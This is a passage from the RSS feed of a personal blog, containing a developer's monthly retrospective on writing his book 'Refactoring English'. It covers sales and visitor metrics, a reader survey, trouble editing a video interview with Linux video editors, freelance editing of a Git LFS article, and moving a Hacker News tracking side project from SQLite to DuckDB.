&lt;p>Understanding arcane build systems is one of the problems I&amp;rsquo;ve avoided, and I&amp;rsquo;m fine with that. &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/#nix">Except when I use Nix&lt;/a>.&lt;/p></content:encoded></item><item><title>Refactoring English: Month 9</title><link>https://mtlynch.io/retrospectives/2025/09/</link><pubDate>Tue, 09 Sep 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/09/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I got useful feedback from early readers about my chapter list.&lt;/li>
&lt;li>I found it frustrating to edit video of an interview but had fun creating a written transcript.&lt;/li>
&lt;li>My plan to promote my freelance blog editing services went better than I expected.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I got useful feedback from early readers about my chapter list.&lt;/li>
&lt;li>I found it frustrating to edit video of an interview but had fun creating a written transcript.&lt;/li>
&lt;li>My plan to promote my freelance blog editing services went better than I expected.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="write-personalized-emails-to-20-readers-i-havent-spoken-to-before">Write personalized emails to 20 readers I haven&amp;rsquo;t spoken to before&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Decided to do a &lt;a href="#interpreting-reader-feedback-about-my-chapter-list">chapter survey&lt;/a> instead&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: N/A&lt;/li>
&lt;/ul>
&lt;p>From talking to a few readers, I realized a better strategy at this point would be to do &lt;a href="#interpreting-reader-feedback-about-my-chapter-list">a broad survey of all readers&lt;/a>.&lt;/p>
&lt;h3 id="publish-a-new-chapter-of-refactoring-english">Publish a new chapter of &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &amp;ldquo;Get to the Point&amp;rdquo;&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I finally finished my chapter on introductions. This was the hardest chapter to write because introductions are the part of writing I find most challenging. So, this was both an introduction and my attempt to reverse engineer how I write introductions.&lt;/p>
&lt;p>I also went way over-budget on this chapter. I initially &lt;a href="https://mtlynch.io/retrospectives/2025/08/#overinvesting-in-chapters">budgeted just six hours&lt;/a> to complete it, but I ended up working on it for 19 hours.&lt;/p>
&lt;h3 id="complete-my-remaining-marketing-tasks">Complete &lt;a href="https://mtlynch.io/retrospectives/2025/07/#how-can-i-improve-marketing-for-the-book">my remaining marketing tasks&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I finished the interview but not the call-to-action&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B+&lt;/li>
&lt;/ul>
&lt;p>I finished editing the interview, which was the big unfinished task. I still haven&amp;rsquo;t gotten around to adjusting my book&amp;rsquo;s website design to focus on purchasing early access rather than subscribing to the free mailing list.&lt;/p>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;,&amp;#34;Jul 2025&amp;#34;,&amp;#34;Aug 2025&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574,8061,2863]"
 data-revenue="[0,0,0,6469,241.45,887.94,848.29,360.88]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2025&lt;/th>
 &lt;th>August 2025&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>8,061&lt;/td>
 &lt;td>2,863&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-5,198 (-64%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$800.04&lt;/td>
 &lt;td>$312.63&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$487.41 (-61%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from sponsors&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$0.00 (0%)&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$848.29&lt;/td>
 &lt;td>$360.88&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$487.41 (-57%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

&lt;p>Last month, I thought metrics for the book were healthy. Website visits and revenue were both up despite not having any popular new posts.&lt;/p>
&lt;p>Since then, I&amp;rsquo;ve added graphs for my metrics, and now I see a different pattern. Revenue for the book seems to correlate closely with visitors to the book&amp;rsquo;s website. And even though I thought I didn&amp;rsquo;t have any popular posts in July, metrics cratered in August when I didn&amp;rsquo;t publish anything to the book&amp;rsquo;s website.&lt;/p>
&lt;p>My takeaway is that I actually &lt;em>do&lt;/em> need to keep publishing new things to the website to continue finding new readers, especially readers who are willing to pay for the book.&lt;/p>
&lt;h2 id="interpreting-reader-feedback-about-my-chapter-list">Interpreting reader feedback about my chapter list&lt;/h2>
&lt;p>In individual conversations with readers, there was a lot of variety in what chapters they found relevant. I felt like a better way to find out which chapters readers cared about most would be to send out a survey.&lt;/p>
&lt;p>I expected a low response rate, as I&amp;rsquo;ve asked for feedback on the mailing list before and only gotten a handful of responses. I was surprised that readers were much more enthusiastic about this survey, with 133 responses in two weeks.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/09/paying-readers.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/09/paying-readers_hu_b73d649a787df2b4.webp 300w, https://mtlynch.io/retrospectives/2025/09/paying-readers_hu_c8c61faa25fc7600.webp 600w, https://mtlynch.io/retrospectives/2025/09/paying-readers_hu_c462d9ebd3f459ba.webp 800w, https://mtlynch.io/retrospectives/2025/09/paying-readers_hu_ab1b90e382eb2869.webp 1200w, https://mtlynch.io/retrospectives/2025/09/paying-readers.webp 1218w'
 src="https://mtlynch.io/retrospectives/2025/09/paying-readers.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I did a detailed analysis of the responses on the book&amp;rsquo;s website:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://refactoringenglish.com/blog/chapter-interest-results/">Reader Feedback about my Chapter List&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>The short version is that I got useful feedback, and it prompted me to reorder the chapters and reframe a chapter that readers disliked.&lt;/p>
&lt;p>It was also interesting to see the difference in response rate here compared to previous requests for feedback. In the past, I&amp;rsquo;d asked for feedback after sending out a sample chapter, and I think the difference is the amount of work I&amp;rsquo;m asking of the reader. For this survey, you can do it in a few minutes, whereas to give feedback on a chapter, you&amp;rsquo;d have to spend 30 minutes reading the chapter and thinking about it, and maybe you&amp;rsquo;re not ready to do that when you receive the survey.&lt;/p>
&lt;h2 id="the-surprising-difficulty-of-editing-a-30-minute-video-interview">The surprising difficulty of editing a 30-minute video interview&lt;/h2>
&lt;p>Back in July 2024, I recorded an interview with &lt;a href="https://adamgordonbell.com/">Adam Gordon Bell&lt;/a> as part of rebooting my blogging course, &lt;a href="https://hitthefrontpage.com/">&lt;em>Hit the Front Page of Hacker News&lt;/em>&lt;/a>. I ended up not finishing the course before I took paternity leave, so I shelved the reboot indefinitely.&lt;/p>
&lt;p>That left me in an awkward spot with this interview. Adam was kind enough to volunteer his time to me, so I felt guilty not publishing the interview at all.&lt;/p>
&lt;p>When I started offering early access to &lt;em>Refactoring English&lt;/em>, I thought it would be a good time to release the interview. If people liked the interview, maybe they&amp;rsquo;d check out the book.&lt;/p>
&lt;p>You know those tasks you put off forever, and you think, &amp;ldquo;I&amp;rsquo;ve been putting this off for so long, and it&amp;rsquo;s so silly because if I just sat down and did it, I&amp;rsquo;d be done in an hour and I could stop carrying it around in my head.&amp;rdquo; I thought for sure this interview would be like that.&lt;/p>
&lt;p>It ended up not being like that.&lt;/p>
&lt;h3 id="the-return-of-the-plague-of-audio-skew">The return of the plague of audio skew&lt;/h3>
&lt;p>I recorded the interview using a service called Riverside. After the call, Riverside generated video files for both ends of the call and a merged, synced version of the conversation. I spot-checked the videos at the time to verify they worked but never watched them carefully.&lt;/p>
&lt;p>I thought the work would just be taking the merged version and throwing it up on YouTube. Maybe if there were interruptions or long digressions, I&amp;rsquo;d trim them out, but I figured the video was nearly done.&lt;/p>
&lt;p>When I finally sat down to watch the video carefully a year after recording it, I realized the audio and video were &lt;a href="https://mtlynch.io/digitizing-1/#the-pernicious-plague-of-audio-skew">out of sync&lt;/a>. You could hear our voices before our lips moved in the video.&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="bad-sync.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>In the video Riverside generated, the audio and video were slightly out of sync.&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>Okay, no problem. I could reprocess the video with &lt;a href="https://ffmpeg.org/">FFmpeg&lt;/a> to shift the audio slightly.&lt;/p>
&lt;p>Nope, it turned out that the audio skew was different on either end of the conversation. Adam&amp;rsquo;s end was shifted about 425ms, while mine was about 150ms. That meant I had to go back to the original, unmerged videos of each end of our conversation, fix the skew in those, then re-merge them myself.&lt;/p>
&lt;h3 id="searching-for-a-usable-open-source-video-editor">Searching for a usable open-source video editor&lt;/h3>
&lt;p>My standard tool for editing video used to be Adobe Premiere, but I switched to Linux last year, and Premiere isn&amp;rsquo;t available for Linux. Plus, I&amp;rsquo;m &lt;a href="https://www.ftc.gov/news-events/news/press-releases/2024/06/ftc-takes-action-against-adobe-executives-hiding-fees-preventing-consumers-easily-cancelling">sick of Adobe as a company&lt;/a> at this point.&lt;/p>
&lt;p>I started editing the videos in Shotcut, a video editor I&amp;rsquo;d been learning last summer. It took a while to figure out how to even arrange videos side-by-side in Shotcut, but I eventually hacked something together with zoom and crop filters.&lt;/p>
&lt;p>When I edited in Shotcut, playback was incredibly choppy because even on my &lt;a href="https://mtlynch.io/retrospectives/2024/12/#building-my-new-development-desktop">fairly new, high-end desktop&lt;/a>, it was choking while merging two 1080p videos. So, to hear how the video actually sounded, I had to export the video. And Shotcut doesn&amp;rsquo;t support exporting only a portion of a video, so I was exporting the full 30 minutes, which took several hours each time. Sidenote: I eventually discovered you can downscale playback in Shotcut for faster performance during editing.&lt;/p>
&lt;p>I noticed after exporting that every time I split a clip, Shotcut would insert a loud pop. Even if I didn&amp;rsquo;t actually cut anything at the split point, it still happened. The mere act of splitting one contiguous clip into two adjacent clips created the pop artifact.&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 518px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/09/shotcut-split.webp">
 &lt;img
 
 sizes="(min-width: 768px) 518px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/09/shotcut-split_hu_95b68758877756c3.webp 300w, https://mtlynch.io/retrospectives/2025/09/shotcut-split.webp 518w'
 src="https://mtlynch.io/retrospectives/2025/09/shotcut-split.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Just splitting a clip without making any change to it created a “pop” in the audio.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I discovered the pops were &lt;a href="https://forum.shotcut.org/t/splitting-audio-adds-pops-clicks/24903">a known issue in Shotcut&lt;/a>, which I couldn&amp;rsquo;t believe. How can anyone edit video when every split adds a distracting audio artifact? But a lot of commenters said that &lt;em>every&lt;/em> video or audio editing tool has this same problem.&lt;/p>
&lt;p>What?!?&lt;/p>
&lt;p>I&amp;rsquo;ve edited hundreds of media files using other tools, and I&amp;rsquo;ve never seen any of them insert pops when I split a clip.&lt;/p>
&lt;p>I tried other open-source video editing tools for Linux. &lt;a href="https://kdenlive.org/">Kdenlive&lt;/a> crashed a few minutes into me trying to edit. &lt;a href="https://jliljebl.github.io/flowblade/">Flowblade&lt;/a> couldn&amp;rsquo;t load at all, but I eventually found &lt;a href="https://github.com/jliljebl/flowblade/blob/af9610bdc12c453ac9bd03bd1b97f68ab6a0482e/README.md">a workaround&lt;/a>. And Flowblade seemed like a simpler version of Shotcut, so I started the editing process again in Flowblade and had to figure out how to create side-by-side video.&lt;/p>
&lt;p>After about an hour of editing in Flowblade, I tried exporting the video, and the pops were back. They &lt;a href="https://github.com/jliljebl/flowblade/issues/799">had a bug about it, too&lt;/a>, and their understanding of it was &lt;a href="https://github.com/jliljebl/flowblade/issues/799#issuecomment-634252961">based on an explanation from Dan Dennedy&lt;/a>, who is&amp;hellip; the author of Shotcut. And it seemed like Flowblade was built on top of MLT, the same media framework that powers Shotcut. So, I was back to the exact same bug.&lt;/p>
&lt;p>Anyway, this recounting of my editing adventure is already too long and boring, so to skip to the end: I eventually worked around the pops by converting the audio sampling rate on the videos from 44.1 kHz to 48 kHz. That eliminated the pop artifacts, but I don&amp;rsquo;t know why.&lt;/p>
&lt;p>I ran into lots of other bugs while editing the video, but they&amp;rsquo;re too tedious to recount here.&lt;/p>
&lt;h3 id="takeaways-for-editing-video">Takeaways for editing video&lt;/h3>
&lt;ul>
&lt;li>Do as much pre-processing as possible using FFmpeg scripts.&lt;/li>
&lt;li>Save the FFmpeg scripts in case you need to tweak the pre-processing later.
&lt;ul>
&lt;li>Even if you&amp;rsquo;re &lt;em>so&lt;/em> confident you won&amp;rsquo;t need to do any pre-processing again, save the scripts, ideally under source control.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Test the FFmpeg scripts with extreme values to confirm they&amp;rsquo;re doing what you think.
&lt;ul>
&lt;li>I tried correcting the audio skew by shifting audio 200ms, but it still was out of sync. Then I tried 300ms, and it was still out of sync. Then, 400ms. I finally skipped to 2000ms and realized there had to be a bug in my script because the 200ms and 2000ms corrections sounded exactly the same.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When you&amp;rsquo;re not sure of the right setting, script FFmpeg to produce several different versions so you can compare options.
&lt;ul>
&lt;li>I did this to test different strategies for eliminating background noise from my end of the conversation.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>An audio sampling rate of 44.1 kHz apparently causes problems in editing.
&lt;ul>
&lt;li>Converting the rate to 48 kHz during pre-processing fixed the pop artifacts.&lt;/li>
&lt;li>I have no idea why.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Try exporting video soon into editing to examine the final output.&lt;/li>
&lt;li>Apply video/audio editing filters at the track level rather than at the clip level.
&lt;ul>
&lt;li>Even if you just have one giant clip, once you start editing, you have dozens of clips with independent filter settings.&lt;/li>
&lt;li>If you realize you got a filter wrong, you&amp;rsquo;re stuck re-doing it in every clip.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="having-too-much-fun-with-an-interview-transcript">Having too much fun with an interview transcript&lt;/h2>
&lt;p>When I finished editing the video with Adam Gordon Bell, that should have been it, right? I spent so much time editing the video that surely I must have been eager to publish it and call it a day.&lt;/p>
&lt;p>Wrong!&lt;/p>
&lt;p>Once I finished editing the video, it was time to obsess over the transcript. Except, I actually had fun doing that part.&lt;/p>
&lt;p>I feel like every interview transcript I read online, the designer was like, &amp;ldquo;Let&amp;rsquo;s take a typewritten court transcript from 60 years ago and bring exactly that level of fun and interactivity to the web.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/09/courtroom-transcript.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/09/courtroom-transcript_hu_ef674d80786ab145.webp 300w, https://mtlynch.io/retrospectives/2025/09/courtroom-transcript_hu_bec37c8cc0c66933.webp 600w, https://mtlynch.io/retrospectives/2025/09/courtroom-transcript_hu_4d1ab37405223e04.webp 800w, https://mtlynch.io/retrospectives/2025/09/courtroom-transcript.webp 850w'
 src="https://mtlynch.io/retrospectives/2025/09/courtroom-transcript.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>What if we could somehow use the web browser to make conversation transcripts more interesting?&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Come on! Let&amp;rsquo;s use the web to do stuff that&amp;rsquo;s not possible on a typewriter.&lt;/p>
&lt;p>So, I generated an initial transcript with &lt;a href="https://github.com/Softcatala/whisper-ctranslate2">whisper-ctranslate2&lt;/a> and spent a lot of time making it accurate, interactive, and fun to read:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/09/transcript.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/09/transcript_hu_3d4104d125d641ab.webp 300w, https://mtlynch.io/retrospectives/2025/09/transcript_hu_33f171be23e98b36.webp 600w, https://mtlynch.io/retrospectives/2025/09/transcript_hu_df8af7f3db5ffd52.webp 800w, https://mtlynch.io/retrospectives/2025/09/transcript_hu_9d633064a652bae5.webp 1200w, https://mtlynch.io/retrospectives/2025/09/transcript.webp 1223w'
 src="https://mtlynch.io/retrospectives/2025/09/transcript.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I added mini-features to the interview transcript to make it fun to read.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>Each end of the conversation appears in a distinctly-colored speech bubble, so you can see who&amp;rsquo;s talking at a glance.&lt;/li>
&lt;li>There are little play button icons in each speech bubble. When you click the icon, the page scrolls to the video and plays from that moment from the transcript.&lt;/li>
&lt;li>I pulled out my favorite quotes into callouts.&lt;/li>
&lt;li>I added headings to help frame the structure of the discussion.&lt;/li>
&lt;li>I reviewed the text for transcription errors.&lt;/li>
&lt;/ul>
&lt;p>I haven&amp;rsquo;t published the video yet because I just sent a new chapter to the mailing list subscribers on Friday.It will be up on &lt;a href="https://refactoringenglish.com/blog/">the book&amp;rsquo;s blog&lt;/a> by the end of this week (by 2025-09-12).&lt;/p>
&lt;h2 id="helping-tyler-cipriani-reach-1-on-hacker-news">Helping Tyler Cipriani reach #1 on Hacker News&lt;/h2>
&lt;p>Sometimes, a plan just comes together better than I even hoped.&lt;/p>
&lt;p>Giving feedback to real writers helps me write my book, so I&amp;rsquo;ve been doing freelance editing for other indie dev bloggers. On the page explaining my editing services, I wanted to include a sample of my editing work, but I didn&amp;rsquo;t want to ask one of my paying clients to use work they already paid for as my own marketing.&lt;/p>
&lt;p>So, my plan was to find someone who would let me edit their post for free in exchange for publishing the notes and them crediting me as the editor.&lt;/p>
&lt;p>My stretch goal was that the article would gain traction in places where potential readers of my book might hang out, like Hacker News, Lobsters, and reddit. If the reader reached the end of the post and saw, &amp;ldquo;Edited by &lt;em>Refactoring English&lt;/em>,&amp;rdquo; they&amp;rsquo;d think, &amp;ldquo;Hey, what&amp;rsquo;s that?&amp;rdquo;&lt;/p>
&lt;p>It also looks good to potential clients if I can point to a past client and say, &amp;ldquo;Look, this person hired me, and their article succeeded in the places where you want to succeed.&amp;rdquo;&lt;/p>
&lt;p>A few months ago, Tyler Cipriani hired me for a high-level review of his blog. He seemed happy with the results, so I pitched him my free editing idea, and he agreed.&lt;/p>
&lt;p>I worked with Tyler on a few rounds of feedback for his article, &lt;a href="https://tylercipriani.com/blog/2025/08/15/git-lfs/">&amp;ldquo;The future of large files in Git is Git.&amp;rdquo;&lt;/a> We enjoyed working together, and it gave me good ideas for the book.&lt;/p>
&lt;p>My bonus goal was just for the post to reach the front page of Hacker News, but it exceeded even that and got &lt;a href="https://news.ycombinator.com/item?id=44916783">all the way to #1 on Hacker News&lt;/a>, &lt;a href="https://lobste.rs/s/vew3ph/future_large_files_git_is_git">Lobsters&lt;/a>, and &lt;a href="https://www.reddit.com/r/git/comments/1mrukfp/the_future_of_large_files_in_git_is_git/">reddit&lt;/a>.&lt;/p>
&lt;p>One of the biggest takeaways for both of us was the importance of tuning the writing to the target audience. Earlier drafts of Tyler&amp;rsquo;s post assumed that the reader was familiar with &lt;a href="https://git-lfs.com/">Git LFS&lt;/a>, a Git extension for managing large files.&lt;/p>
&lt;p>I suggested that the average Git user didn&amp;rsquo;t necessarily know Git LFS well enough to understand everything in the article. Tyler pushed back, as he felt like the average Git user who has dealt with large files must know Git LFS.&lt;/p>
&lt;p>To convince Tyler that the reader knows less about Git LFS than his article assumed, I listed my knowledge and experience of Git LFS:&lt;/p>
&lt;blockquote>
&lt;ul>
&lt;li>If I have large files in my git repo or I frequently update binary data in my git repo, I’m supposed to use git LFS&lt;/li>
&lt;li>I’ve never used git LFS
&lt;ul>
&lt;li>I’ve maybe worked on 1-2 open-source projects that use Git LFS, but I never touched any of the LFS parts.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I don’t know what the size limits are for various forges, but I assumed that if I hit it, the forge would give me grief, and I’d deal with it then
&lt;ul>
&lt;li>If I ever want to store a file &amp;gt;5 MB in a git repo, I start looking for ways to avoid it&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I thought Git LFS was a forge-agnostic feature I could use anywhere.&lt;/li>
&lt;li>I thought Git LFS is a 10+ year old technology and is mature and stable&lt;/li>
&lt;li>I didn’t know your repo is stuck with Git LFS once you start using it&lt;/li>
&lt;li>I’d be interested in ways to store large files in git, and I’d click a story about it on HN/Lobsters, but it’s not a problem I’d think about and try to solve proactively unless I ran into a situation where I really wanted to store large files in a git repo.&lt;/li>
&lt;/ul>&lt;/blockquote>
&lt;p>Tyler said that this list was the &amp;ldquo;ah-ha&amp;rdquo; moment for him. He had resisted the feedback before because he felt confident that his readers would know about Git LFS. Seeing my list made him realize that even if his readers were superficially aware of Git LFS and what it&amp;rsquo;s for, they might not know how it works.&lt;/p>
&lt;p>The neat thing about Tyler&amp;rsquo;s realization was that he could have written my list himself. He had the same predictions about what his target reader would know; he just had to think one level deeper about what it means for the reader to &amp;ldquo;know&amp;rdquo; a technology.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="switching-hacker-news-observer-to-a-time-series-database-for-a-500x-speedup">Switching &lt;a href="https://mtlynch.io/retrospectives/2025/05/#side-project-hacker-news-observer">Hacker News Observer&lt;/a> to a time-series database for a 500x speedup&lt;/h3>
&lt;p>Over the past few years, I&amp;rsquo;ve heard people talk about &amp;ldquo;time-series databases,&amp;rdquo; but I never understood what they do or how they differ from regular relational databases. I even used InfluxDB for a side project last year because I needed something compatible with Grafana. But I still didn&amp;rsquo;t understand what made it a &amp;ldquo;time series&amp;rdquo; database or why it couldn&amp;rsquo;t just be SQLite.&lt;/p>
&lt;p>I was talking to another developer recently, and he mentioned using a time-series database for different views of his data, like seconds-level granularity vs. days-level. And he didn&amp;rsquo;t even explain beyond that, but a lightbulb went off in my head, and I thought, &amp;ldquo;Oh! That must be what time-series databases are for!&amp;rdquo;&lt;/p>
&lt;p>Hacker News Observer is a side-project that queries Hacker News every minute and records the upvotes, comments, and rank of every story from the last few weeks. I hope to dig deeper and find interesting patterns, but for now I&amp;rsquo;ve just been looking at high-level aggregates, like total upvotes and comments on the front page:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1302px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/09/hn-observer-aggregate.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1302px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/09/hn-observer-aggregate_hu_4f98705b8cfb512.webp 300w, https://mtlynch.io/retrospectives/2025/09/hn-observer-aggregate_hu_1b4b5841a22367a1.webp 600w, https://mtlynch.io/retrospectives/2025/09/hn-observer-aggregate_hu_5ba26c9c5bbcd6e8.webp 800w, https://mtlynch.io/retrospectives/2025/09/hn-observer-aggregate_hu_c025d3436af12c2e.webp 1200w, https://mtlynch.io/retrospectives/2025/09/hn-observer-aggregate.webp 1300w'
 src="https://mtlynch.io/retrospectives/2025/09/hn-observer-aggregate.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Switching to DuckDB sped up this page by 500x&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I initially used SQLite as the database, and the graph above took two minutes to render. And that makes sense because there are thousands of stories per day, thousands of snapshots of each story, and then I have to find the top 30 (front page) in each snapshot, then put those into hour-level buckets. SQLite doesn&amp;rsquo;t have any special functions for aggregating per-minute data into hour-level views, so it was a lot of expensive queries.&lt;/p>
&lt;p>Once I got the idea of time-series databases, I asked an LLM for time-series database options that were similar to SQLite, and it recommended DuckDB. And then I just had the LLM migrate my database from SQLite to DuckDB. That migration alone reduced the load time for the graph from two minutes to 250ms, a speedup of about 500x.&lt;/p>
&lt;p>So, I guess that&amp;rsquo;s what time-series databases are for.&lt;/p>
&lt;h3 id="chipping-away-at-old-logs-with-gleam-chat-log-parser">Chipping away at old logs with &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser">Gleam Chat Log Parser&lt;/a>&lt;/h3>
